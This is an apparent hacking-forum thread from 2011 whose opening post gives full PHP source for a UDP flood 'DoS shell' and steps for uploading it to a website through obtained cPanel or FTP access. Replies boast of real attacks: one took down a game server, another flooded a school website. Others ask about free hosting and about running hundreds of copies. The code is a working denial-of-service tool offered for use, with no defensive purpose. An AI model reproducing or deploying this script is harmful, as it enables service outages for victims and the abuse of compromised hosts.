Thread: [\[Tut\] How to make a dos shell \[Tut\]](#)

Gone-KaPPaH - May 22, 2011, 10:20 am

How to make a shell

Step 1Get a cpanel or ftp of a site

Step 2Get a Shell code

Use this code PHP Code

```
<?php
if(isset($_GET['host'])&&isset($_GET['time'])){
$packets = 0;
$host = $_GET['host'];
$rand = 53;
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_GET['time'];
$time = time();
print "Flooded: $host<br><br>";
$max_time = $time+$exec_time;
for($i=1;$i<3000;$i++){
    $out .= "X";
}
while(1){
    $packets++;
    if(time() > $max_time){
        break;
    }
    $rand = rand(1,65535);
    $fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);
    if($fp){
        fwrite($fp, $out);
        fclose($fp);
    }
}
$pps = round($packets/$exec_time, 2);
$megabytes = round(($packets*65)/1024, 2);
$mbps = round($megabytes/$exec_time, 2);
$gigabytes = round($megabytes/1024, 2);
$gbps = round($gigabytes/$exec_time, 2);

echo "Execution time: " . $exec_time . " seconds.\n <br /> <br />";
echo "Packets: $packets packets, averaging $pps packets/s.\n <br /> <br />";
echo "Megabytes: $megabytes MB averaging $mbps MB/s.\n <br /> <br />";
echo "Gigabytes: $gigabytes GB averaging $gbps GB/s.\n <br /> <br />";
echo
'<form action="'.$surl.'" method=GET>
```

```

<input type="hidden" name="act" value="phptools">
Host: <br><input type="text" name="host"><br>
Length (seconds): <br><input type="text" name="time"><br>
<input type="submit" value="Go"></form>';
}else{ echo
'<form action=? method=GET>
<input type="hidden" name="act" value="phptools">
Host: <br><input type="text" name="host" value=><br>
Length (seconds): <br><input type="text" name="time" value=><br><br>
<input type="submit" value="Go"></form>';
}
?>

```

Open notepad and copy the code

Paste the code in the notepad save file as Shell.php must change the format to .php

Step 3Take the php file you made

Upload the .php file you made using a ftp client or the default file manager in the cpanel

Congratz youve uploaded your first Dos shell should look like this

Ok bro sorry for that mishap

Toscan - May 22, 2011, 11:50 am

Is this powerful enough to make the victim, lagg?

Gone-KaPPaH - May 22, 2011, 11:51 am

(May 22, 2011 11:50 AM)toscan Wrote: [\[CITE\]](#) Is this powerful enough to make the slave, lagg?
Depends on the site its hosted on

Toscan - May 22, 2011, 11:58 am

Talking about a home connection.

Gone-KaPPaH - May 22, 2011, 12:01 pm

(May 22, 2011 11:58 AM)toscan Wrote: [\[CITE\]](#) Talking about a home connection.
Yes i know it all depends on how hard the shell can hit

Your mum - May 22, 2011, 12:08 pm

cheers i had to find a different host, but its working now.. its hosted on <http://www.ziex.t15.org> atm.
this is not the same as just one person pinging an address right? does it make a difference also if more than one person uses it to flood the same address?

EDIT - Confirmed took down a Hosted samp server in france that averages 50-100 ping up to 300's

[img]<http://img204.imageshack.us/img204/463/samplu.jpg>[/img]

thanks bro ?

masterbrain - May 22, 2011, 12:11 pm

i hosted on Spam i dosed my school site so hard that my site is 4 minuts offline lowl my school site going slow

Gone-KaPPaH - May 22, 2011, 12:14 pm

It shouldnt make a difference and it uses the bandwidth of the host to send packets to the ip

Toscan - May 22, 2011, 12:17 pm

KaPPaH, Look at your site thread, I made those Avatars you asked for.

sqid - May 22, 2011, 2:10 pm

Ahaha Win!! nice share Kappah

mec - May 23, 2011, 8:45 am

this is cool. thank you for this

How isnt it its a simple GET Dos shell

Itz Brett - July 1, 2011, 1:11 am

can you put this on a free host? if so perferred ones?

Codevade - July 1, 2011, 1:13 am

Why did you declare the Rand variable 53. There is no reason for that.

ignite2030 - July 1, 2011, 1:57 am

Thanks for sharing this script.

octane567 - *July 13, 2011, 7:17 am*

thanks i will definitely use this!

Pernicies - *July 13, 2011, 9:07 am*

So can i just insert 500 copies of this file to get 500 shells ?
how to use them with visual basic 2010?
